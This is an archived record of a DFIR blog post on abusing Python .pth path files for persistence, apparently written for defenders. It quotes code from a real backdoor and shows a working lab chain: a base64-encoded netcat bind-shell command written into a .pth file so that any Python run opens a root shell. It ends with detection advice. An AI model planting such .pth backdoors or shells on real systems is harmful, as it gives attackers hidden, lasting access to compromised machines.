{
	"id": "5acd6d9c-20db-49c5-b5fe-fa427a22ce87",
	"created_at": "2026-04-06T00:10:01.98325Z",
	"updated_at": "2026-04-10T13:12:37.400238Z",
	"deleted_at": null,
	"sha1_hash": "075c628966130361fb3803e1252b06fdf25c4f92",
	"title": "Analysis of Python's .pth files as a persistence mechanism",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 491613,
	"plain_text": "Analysis of Python's .pth files as a persistence mechanism\r\nPublished: 2025-01-14 · Archived: 2026-04-05 18:00:14 UTC\r\nIntroduction\r\nThe purpose of the update.py script is to deploy a backdoor to the following path: /usr/lib/python3.6/site-packages/system.pth. The backdoor, written in Python, starts by an import and its main content is stored as a\r\nbase64 encoded blob. The .pth extension is used to append additional paths to a Python module. Starting with the\r\nrelease of Python 3.5, lines in .pth files beginning with the text “import” followed by a space or a tab, are\r\nexecuted as described in the official documentation. Therefore, by creating this file, each time any other code on\r\nthe device attempts to import the module, the malicious code is executed.\r\nSource: Volexity, Zero-Day Exploitation of Unauthenticated Remote Code Execution Vulnerability in\r\nGlobalProtect (CVE-2024-3400)\r\nTo recap: Starting with Python 3.5, lines in .pth files starting with “import” followed by a space or tab are\r\nexecuted. This allows malicious code in such files to run whenever any code on the device imports a module.\r\nIn this blog post, we will look into the details of this backdooring technique, examining its implementation and\r\ninvestigating whether it leaves any traces behind.\r\nPath Configuration Files\r\nPath Configuration Files (.pth) provide a way for Python to extend its module search paths, enabling the\r\ninclusion of extra directories where Python looks for modules and packages.\r\nWhen a .pth file is placed in a directory like site-packages or dist-packages (we’ll cover these shortly),\r\nPython processes these files during startup. Each line in the .pth file can either add a directory to the module\r\nsearch path or execute Python code under specific conditions, as highlighted by Volexity. In particular, lines\r\nstarting with import (followed by a space or tab) are executed. Leveraging a .pth file is a creative and stealthy\r\nmethod to persist on a compromised system, as most Digital Forensics and Incident Response (DFIR) tools and\r\nenumeration scripts typically do not explicitly check for additional Python path configuration files.\r\nAnalysis of a malicious file\r\nThe file update.py (MD5: 0c1554888ce9ed0da1583dbdf7b31651 ), discovered by Volexity, contains the\r\nfollowing Python code. The complete file is available on VirusTotal:\r\ndef protect():\r\n import os,signal\r\n systempth = \"/usr/lib/python3.6/site-packages/system.pth\"\r\n content = open(systempth).read()\r\n # os.unlink(__file__)\r\nhttps://dfir.ch/posts/publish_python_pth_extension/\r\nPage 1 of 4\n\ndef stop(sig,frame):\r\n if not os.path.exists(systempth):\r\n with open(systempth,\"w\") as f:\r\n f.write(content)\r\nThe backdoor ensures that the file system.pth cannot be deleted. While Volexity has not shared the exact\r\ncontents of this file, we can recreate the code execution in our lab using a similar .pth file.\r\nIn the Python code above, the directory /usr/lib/python3.6/site-packages/ is used to store the malicious\r\n.pth file. However, this path may vary depending on the system configuration. So, what other options are\r\navailable? According to the Python documentation: The site module also provides a way to get the user directories\r\nfrom the command line.:\r\nroot@pth:~# python3 -m site\r\nsys.path = [\r\n '/root',\r\n '/usr/lib/python312.zip',\r\n '/usr/lib/python3.12',\r\n '/usr/lib/python3.12/lib-dynload',\r\n '/usr/local/lib/python3.12/dist-packages',\r\n '/usr/lib/python3/dist-packages',\r\n]\r\nUSER_BASE: '/root/.local' (doesn't exist)\r\nUSER_SITE: '/root/.local/lib/python3.12/site-packages' (doesn't exist)\r\nENABLE_USER_SITE: True\r\nOn our Ubuntu server, there isn’t a site-packages folder, but we do have a dist-packages directory. Let’s\r\nexplore whether we can establish a stealthy persistence mechanism here as well.\r\nExploiting\r\nWe are utilizing a basic Netcat (nc) bind shell as the payload. Once executed, it will open port 45555 to the\r\ninternet, providing access as soon as someone runs Python code on our compromised server.\r\nroot@pth:~# echo 'nohup bash -c \"rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f\r\n| /bin/sh -i 2\u003e\u00261\r\n| nc -l 0.0.0.0 45555 \u003e /tmp/f\" \u0026' | base64 -w0\r\nbm9odXAgY[..]ZiIgJgo=\r\nThe Base64-encoded command is embedded within the following script, which will be written to the file\r\n/usr/local/lib/python3.12/dist-packages/malmoeb.pth . It’s important to note that a .pth file must begin\r\nwith the keyword import; otherwise, Python will not execute the code contained within it.\r\nhttps://dfir.ch/posts/publish_python_pth_extension/\r\nPage 2 of 4\n\nroot@pth:~# echo \"import os; os.system('echo \"bbm9odXAgY[..]ZiIgJgo=\" |\r\nbase64 -d|bash')\" \u003e /usr/local/lib/python3.12/dist-packages/malmoeb.pth\r\nThis is an effective persistence technique because it only takes a simple Python execution to trigger it:\r\nroot@pth:~# python3 -c \"print('dfir.ch')\"\r\ndfir.ch\r\nOur backdoor is now open, and we can successfully connect to the compromised server:\r\nmalmoeb@home ~ % nc 164.90.220.147 45555\r\n# id\r\nuid=0(root) gid=0(root) groups=0(root)\r\n#\r\nGreat! If you’ve been paying attention to the output of python3 -m site above, you may have noticed that the\r\nsite-packages folder is missing under the /root directory. Let’s explore this approach:\r\nroot@pth:~# mkdir -p /root/.local/lib/python3.12/site-packages\r\nroot@pth:~# mv malmoeb.pth /root/.local/lib/python3.12/site-packages\r\nroot@pth:~# python3 -c \"print('dfir.ch')\"\r\nAnd yes, we got a shell (again).\r\nAnd now?\r\nIf an EDR were present on the compromised Linux system, the process chain (Python -\u003e Bash -\u003e nc) would likely\r\ntrigger an alert, or even just Python -\u003e Bash could raise suspicion. Furthermore, closely monitoring newly created\r\n.pth files could help detect these persistence mechanisms. However, default security solutions are unlikely to\r\nidentify such backdoors or the execution of code within .pth files.\r\nThe risks associated with hidden .pth files have already been discussed in the cpython project’s issue tracker\r\n(Issue #113659).\r\nhttps://dfir.ch/posts/publish_python_pth_extension/\r\nPage 3 of 4\n\nFigure 1: Security risk of hidden pth files\r\nThe severity of this issue is not very large, because it requires user interaction to activate. But it increases the\r\nrisk. I think we should forbid processing hidden pth files.\r\n$PYTHONPATH - Down the rabbit hole\r\nItzik Kotler Co-Founder \u0026 CTO of SafeBreach, presented I'm In Your $PYTHONPATH, Backdooring Your Python\r\nPrograms (slides available here).\r\nIn his presentation, Itzik demonstrated how any Python module can be modified with additional code without\r\naltering the original functionality of the module. He used the PYTHONPATH environment variable to redirect to the\r\nmodified module, which, in my opinion, adds an interesting layer to the .pth file technique discussed here.\r\nAfter a compromise, Python modules could be injected with malicious code, or the PYTHONPATH environment\r\nvariable could be hijacked. How many security teams would actually detect such behavior?\r\nSource: https://dfir.ch/posts/publish_python_pth_extension/\r\nhttps://dfir.ch/posts/publish_python_pth_extension/\r\nPage 4 of 4",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://dfir.ch/posts/publish_python_pth_extension/"
	],
	"report_names": [
		"publish_python_pth_extension"
	],
	"threat_actors": [],
	"ts_created_at": 1775434201,
	"ts_updated_at": 1775826757,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/075c628966130361fb3803e1252b06fdf25c4f92.pdf",
		"text": "https://archive.orkl.eu/075c628966130361fb3803e1252b06fdf25c4f92.txt",
		"img": "https://archive.orkl.eu/075c628966130361fb3803e1252b06fdf25c4f92.jpg"
	}
}